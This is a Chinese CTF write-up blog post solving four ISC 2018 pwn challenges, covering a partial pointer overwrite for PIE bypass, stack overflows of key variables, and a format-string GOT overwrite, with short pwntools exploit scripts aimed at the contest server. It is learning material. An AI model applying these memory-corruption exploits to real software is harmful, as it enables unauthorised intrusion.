ISC 2018 蓝鲸魔塔线上赛-pwn

前言

这个应该是菜鸟pwn狗的成长之路吧。。这个题目比较简单就记录一下

正文

首先checksec一波

 

 

 

 

 

可以发现开了NX:栈不可执行,PIE:随机地址,RELRO:got表不可改写

现在还不知道应该是怎么样的思路,再ida一波。

F5一波

 

 

 

 

 

 

 

 

 

这里可以看见漏洞应该就是在read这里吧,发现只溢出了一个字节所以有点奇妙。。

 

 

从这里可以看见在函数列表李有一个flag列表我猜可能是ret到flag函数然后应该就可以拿到flag了

这个时候运行一下。

 

 

 

这里可以看出bye函数应该是正常情况下的跳转函数,然后再看看ida发现buf下面有一个函数指针我估计是跳转指针

接下来就是pie的绕过了,通过gdb调试可以发现bye和flag 的前几位是一样的就之后后四位的固定值是不变的,所以只要覆盖后三位指针就可以了。

wp:

from pwn import *

#p = process('./pwn1')
p = remote('39.107.92.230',10001)
context.log_level='debug'
payload = 24 * 'a' + p64(0x7f3)
p.recvuntil('Welcome, give me you best shot')
p.sendline(payload)
p.interactive()

结尾

题目比较简单但是可以练一下pie绕过的原理,还问了好几次什么事函数指针。。太魔性了

pwn2

这题就是普通的溢出覆盖关键变量。。就是题目的flag太魔性了在tmp目录下。。

wp

from pwn import *

#p = process('./pwn2')
p = remote('39.107.92.230',10002)
context.log_level = 'debug'
#gdb.attach(p)
payload = 'a' * 0x28 + p64(0xABCD1234)

p.sendline(payload)
p.interactive()

pwn3

唉这比赛有毒都是深夜更题,不过作为练习基础入门还是很好的题目。

其实就是一个格式化字符串改写got表的一个操作我这里利用了pwntools里的fmtstr_payload(offset,{got:target})

然后观察程序里是有一个system的后门的所以可以直接用作为target的地址。当然还问了丁佬还可以用one_gadget当然是面对改写got表的情况,这道题还是不太能用的因为泄漏不出libc(完了发现小白的我也能说出这句话了

pwn4

终于最后一天了可以发博客了

这道题目就是一个栈溢出覆盖关键变量然后过几个check,先是密码的check然后是长度的check

这里可以看见这里有一个print_record(&v8)函数

点开来看一下可以发下你是一个读取文件的函数

可以看见这里会读取我们的参数所代表的文件,所以如果我们把参数改成flag.txt就可以达成我们的目标了,再看看前面还有一个check是我们输入的东西的长度一定要等于36。

这里可以看见刚开始有一个输入的check这个很简单过,然后看我们输入的变量的地址,可以发现这里有一个栈溢出,而且v8那个参数刚好就在栈溢出的下面可以更改。

并且可以发现这里如果我们的输入在1-7之间那么他都会对v8进行赋值。。那么就失去了我们想要的效果了。所以我们的输入一定要是在大于7那么现在思路就有了

先用栈溢出将v8覆盖成flag.txt因为要长度为36所以只要前面加14个'./'就可以了

wp:

from pwn import *
#p = process('./pwn4')
p = remote("39.107.92.230",10004)
payload = 'kaiokenx20' +'\x00'*6 +'./'*13 + './flag.txt'


p.sendline(payload)
p.recvuntil("Enter choice :- ")
p.sendline('8')

p.interactive()

这次比赛比较简单可以ak pwn,但是是真的因为简单。。。这个题目还是很好的作为入门的新手还是很友好的。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值